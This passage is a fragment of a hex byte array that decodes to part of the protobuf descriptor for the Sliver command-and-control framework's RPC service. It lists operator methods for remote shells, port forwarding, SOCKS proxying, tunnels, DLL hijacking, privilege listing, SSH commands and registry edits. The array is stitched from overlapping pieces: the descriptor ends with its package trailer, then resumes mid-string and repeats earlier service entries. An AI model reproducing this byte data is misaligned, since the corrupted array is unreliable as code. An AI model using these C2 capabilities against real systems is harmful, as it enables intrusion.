0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x0c,
0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73,
0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e,
0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65,
0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78,
0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78,
0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45,
0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f,
0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a,
0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12,
0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45,
0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65,
0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72,
0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f,
0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46,
0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70,
0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72,
0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72,
0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53,
0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a,
0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63,
0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b,
0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53,
0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b,
0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65,
0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47,
0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71,
0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43,
0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57,
0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72,
0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53,
0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b,
0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c,
0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65,
0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77,
0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72,
0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72,
0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43,
0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d,
0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53,
0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44,
0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74,
0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43,
0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63,
0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a,
0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74,
0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e,
0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45,
0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74,
0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f,
0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75,
0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
0x69, 0x74, 0x65, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43,
0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61,
0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61,
0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72,
0x79, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79,
0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72,
0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x53, 0x0a, 0x12, 0x52,
0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65,
0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67,
0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x52,
0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65,
0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74,
0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e,
0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48,
0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64,
0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16, 0x2e,
0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61,
0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65,
0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76,
0x73, 0x12, 0x3b, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e,
0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e,
0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x50,
0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73,
0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52,
0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e,
0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52,
0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e,
0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f,
0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c,
0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74,
0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78,
0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f,
0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12,
0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f,
0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74,
0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12,
0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72,
0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f,
0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a,
0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73,
0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57,
0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f,
0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73,
0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c,
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77,
0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72,
0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f,
0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72,
0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72,
0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12,
0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71,
0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74,
0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63,
0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f,
0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63,
0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f,
0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45,
0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f,
0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f,
0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01,
0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c,
0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e,
0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75,
0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e,
0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54,
0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c,
0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61,
